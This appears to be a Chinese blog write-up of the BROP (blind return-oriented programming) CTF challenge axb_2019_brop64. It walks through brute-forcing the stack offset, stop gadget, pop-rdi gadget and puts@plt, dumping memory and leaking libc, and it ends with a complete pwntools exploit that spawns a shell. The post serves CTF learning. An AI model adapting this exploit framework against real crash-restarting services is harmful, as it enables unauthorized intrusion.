前言|与BROP的相遇

第一次BROP,它让我觉得pwn,或者说网安很妙,也很折磨

在遇到它之前,之前接触的题目都是简单的栈溢出,感觉没有啥有趣的,很简单,找gadget溢出就可以,一切都看得见

可遇到它之后,这是真的折磨,一切都是未知

但是因为未知,所以产生了美感,或许是因为摸不着,所以才有一种神秘的魔力一点点吸引我学pwn

题目:buuctf-axb_2019_brop64

因为为了更好的分享体验(防止翻车)

我已经将题目部署在了本题,并且自己修改了一下flag的趣味性

后面我会在本地进行盲打分享

大家可以去buuctf找到这道题目(注意环境libc以及栈对齐一些问题)

BROP的发现与利用思想简介

关于一篇论文

bittau-brop.pdf

BROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。

利用思想

从调用机制上去理解

或许我们不知道main函数中调用了什么,但在main之前的一切,我们是知道的,也就是我们可以利用main函数,内核层在调用main时,所残留的gadget

  • 我们的目标
  • 能让这个程序挂住,能让这个程序泄露,能让这个程序实现人为函数调用,最终我们要控制

条件依赖

  1. 程序存在栈溢出漏洞
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
    1. nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
    2. 这意味着: 栈中的canary是固定的,不会重置

利用思路

BROP的攻击思路一般有以下几个步骤:(挺模板的)

  • 1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来

  • 2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget

  • 3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret

  • 4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用

  • 5.寻找相应的PLT地址

  • 6.dump远程内存空间

  • 7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell

1.确定栈溢出的长度|偏移量

在这之前,我们可以尝试%p%x%s,以来确定程序是否有格式化字符串漏洞

通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.

                     +---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
input-->+---------------------------+
def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1

第一步完成:偏移量为216

2.寻找stop gadgets:

stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。

如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。

对于这道题而言,我们的目标是寻找main,这样就能无限返回main函数,无限进攻尝试!

                       +---------------------------+
| 0x400000+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符覆盖ebp位置
ebp--->+---------------------------+
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
input-->+---------------------------+

ps:在这之前,我们可以找出原本ret函数的返回地址,从而推出main函数的大概位置,从而缩小范围

def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close()

第二步完成:我们得到的stop_addr = 0x4007d6

3.寻找brop-gadget

  1. 寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.
  2. 大家如果接触过retcsu,应该知道有一个这样很特殊的gadget

                    +---------------------------+
| pop rbx | 0x00
+---------------------------+
| pop rbp | 0x01
+---------------------------+
| pop r12 | 0x02
+---------------------------+
| pop r13 | 0x04
+---------------------------+
| pop r14 | 0x06
+---------------------------+------------------->pop rsi;ret 0x07
| pop r15 | 0x08
+---------------------------+------------------->pop rdi;ret 0x09
| ret | 0x10
-----------------------------
//利用了gadget的结构,来确实是否为我们的要的那个gadget +---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| probe | <----- 探针
-----------------------------

如果我们找到这个gadget的收地址,那么,我们就能拥有几个特别好用的gadget,是啥?

如果加上0x9,是pop_rdi_ret

如果再加上0x5,是ret

对于这道题,我们的目标是pop_rdi_ret

                      +---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close()

第三步完成:我们得到的pop_rdi_ret 为 0x40095a + 0x9

4.寻找puts-plt

为了让程序有健壮性,在软件构建的时候,采用了动态链接

也就是,需要才去找他这个函数存在于哪里,利用plt和got表配合使用,从而实现这个功能

puts-plt有跳转执行函数的功能,找到puts-plt就能执行puts函数

在找的时候,必须有一个回显内容来进行特征标注,告诉我们找到了

在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’

所以我们就利用这个

对于寻找的思路,我们依旧是暴力枚举,(爆破范围是0x0000~0xFFFF),基址为0x400000

                      +---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'\x7fELF'
+---------------------------+
| 0x40095a + 0x9 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close()

第四步完成:我们找到的plt的地址为puts_plt = 0x400635

5.dump出got地址

在上面的第四步,我们知道,plt表里,存着got地址,如果我们把plt表dump出来,那么我们就知道got的地址,知道got的地址,我们就能泄露真实的函数地址

def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)

生成的文件到本地,拖进去IDA分析

此处省略,太久了

第五步完成:got的地址为0x601018

6.常规的retlibc解决即可

如上我们泄露了got的地址,那么就能通过puts获得真实的函数地址

利用真实函数地址,泄露libc版本

找出shell条件,最后常规的栈溢出ROP即可解决

def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive()

小彩蛋:

home目录下的flag文件存的都是啥啊!!!

再ls一下,发现有一个ikun的目录,原来flag在这里

最后的EXP

最好的exp,一共大概150行

虽然多,但是很套路

from pwn import *
from LibcSearcher import * def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1 def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close() def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close() def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close() def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result) def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive() offset = 216 #offset_find() old_return_addr = 0x400000 #min_find(offset) #0x400834 stop_addr = 0x4007d6 #stop_find(old_return_addr,offset) #0x4007d6 brop_gadget = 0x40095a #brop_find(stop_addr,offset) #0x40095a pop_rdi_ret =brop_gadget + 0x9 plt_base = 0x400000 puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret) puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr) #offset_find() #min_find(offset) #stop_find(old_return_addr,offset) #brop_find(stop_addr,offset) #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret) #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr) attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr)

#谢谢你的观看!

^ _ ^

【PWN】初见BROP的更多相关文章

  1. SharkCTF2021 pwn“初见”1

    (无内鬼 今日不想学了 水一篇) nc nc nc easyoverflow Intoverflow

  2. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  3. MongoDB 初见指南

    技术若只如初见,那么还会踩坑么? 在系统引入 MongoDB 也有几年了,一开始是因为 MySQL 中有单表记录增长太快(每天几千万条吧)容易拖慢 MySQL 的主从复制.而这类数据增长迅速的流水表, ...

  4. 《微信小程序七日谈》- 第一天:人生若只如初见

    <微信小程序七日谈>系列文章: 第一天:人生若只如初见: 第二天:你可能要抛弃原来的响应式开发思维: 第三天:玩转Page组件的生命周期: 第四天:页面路径最多五层?导航可以这么玩 微信小 ...

  5. (翻译)异步编程之Promise(1):初见魅力

    原文:https://www.promisejs.org/ by Forbes Lindesay 异步编程系列教程: (翻译)异步编程之Promise(1)--初见魅力 异步编程之Promise(2) ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  8. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  9. 【Linux探索之旅】第一部分第五课:Unity桌面,人生若只如初见

    内容简介 1.第一部分第五课:Unity桌面,人生若只如初见 2.第一部分第六课预告:Linux如何安装在虚拟机中 Unity桌面,人生若只如初见 不容易啊,经过了前几课的学习,我们认识了Linux是 ...

  10. Swift语法初见

    Swift语法初见 http://c.biancheng.net/cpp/html/2424.html 类型的声明: let implicitInteger = 70 let implicitDoub ...

随机推荐

  1. 【逆向】HWP文档 分析调试技巧

    前言 HWP(Hangul Word Processor)文件是韩国主流文字处理软件Hangul Office(한글)专用的文档格式,Hangul 是一款由韩软公司(Hansoft)开发,在韩国人人皆 ...

  2. 音速启动 Vstart 5.7 win10手动移除后台设置主页

    Vstart 用了快12年了,用Wireshark跟踪确实会访问广告页面,也会去上传数据.还会悄悄设置主页 ,所以在Win10上老是被干掉 也想着换 CLaunch 确实不喜欢. Rolan 买了一年 ...

  3. vue中自动将px转换成rem

    1.首先下载 lib-flexible npm install lib-flexible --save 2.在main.js中引用 lib-flexible 3.安装px2rem-loader(将px ...

  4. 根据id 删除树结构中的数据

    根据id 删除树结构中的数据  filterHandle(data, id) {                         var newData = data.filter(x => x ...

  5. 小梅哥课程学习——串口发送应用之发送数据(适用于板级验证,时间间隔位100ms)

    //此代码的注意事项,首先这个代码不能仿真成功会出现一定的时间延迟, //因为在做板级验证的时候把时间改成了100ms发送一次,要想仿真成功,把时间改成499999 //使用上一节课设计的发送模块,设 ...

  6. C语言初级阶段7——指针1

    C语言初级阶段7--指针1 地址与指针 1.地址:数据在内存中的存储位置编号,是一个常量. 2.指针:指针的本质就是地址. 指针变量的定义和声明 1.指针变量:存储的数据是地址. 2.定义方法:类型* ...

  7. jmeter的三种参数化方式

    一.通过添加前置处理器(用户参数) 1. 在http层级下添加--前置处理器--用户参数 2.可以修改名称,每次迭代更新一次(一定要勾选上),这样才会每次迭代变量值也更新 ,点击下面添加用户(多次测试 ...

  8. Error java 错误 不支持发行版本5 ( 完美解决版)

    问题 在Intellij idea中新建了一个Maven项目,运行时报错如下:Error : java 不支持发行版本5 解决方案 1. 原因 是因为ideal中默认配置中有几个地方的jdk版本与实际 ...

  9. 【原创】freetype android交叉编译

    项目中Opencv需要显示中文,由于本身并不支持,所以需要借助第三方的库freetype来实现.这个库虽然android本身也有使用,但并没有暴露接口给外部使用. freetype官网 方式1 脚本编 ...

  10. 试题管理/在线课程/模拟考试/能力评估报告/艾思在线考试系统www.aisisoft.cn

    艾思软件发布在线考试系统, 可独立部署, 欢迎咨询索要测试账号 一. 主要特点: ThinkPHP前后端分离框式开发 主要功能有: 在线视频课程, 模拟考试, 在线考试, 能力评估报告, 考试历史错题 ...